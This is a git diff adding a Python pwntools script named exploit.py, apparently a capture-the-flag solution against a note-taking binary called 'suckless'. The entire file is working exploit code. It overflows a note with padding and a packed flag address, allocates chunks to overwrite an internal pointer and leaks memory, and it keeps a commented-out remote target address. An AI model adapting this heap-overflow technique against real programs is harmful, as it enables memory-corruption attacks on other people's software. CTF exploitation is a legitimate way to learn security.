diff options
Diffstat (limited to 'suckless2/exploit.py')
| -rw-r--r-- | suckless2/exploit.py | 43 |
1 files changed, 43 insertions, 0 deletions
diff --git a/suckless2/exploit.py b/suckless2/exploit.py new file mode 100644 index 0000000..5ebdaf9 --- /dev/null +++ b/suckless2/exploit.py @@ -0,0 +1,43 @@ +import struct + +from pwn import * +context(arch="x86_64", os="linux") + +FLAG_ADDR = 0x42a3cc + +p = process(["./suckless"], False, "./suckless") +print("Here") +# p = remote('34.75.105.136',1029) + +# Allocate first chunk. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline((b"A" * 16) + struct.pack("Q", FLAG_ADDR)) +p.recvuntil("> ") +p.sendline("show") +p.recvuntil("address: ") +dbg = int(p.recvline(), 16) + +# Allocate dummy chunk. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline((b"B" * 8)) +p.recvuntil("> ") +p.sendline("show") + +# Overwrite versionptr. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline() +p.recvuntil("> ") +p.sendline("show") +print(p.recvuntil("> ")) |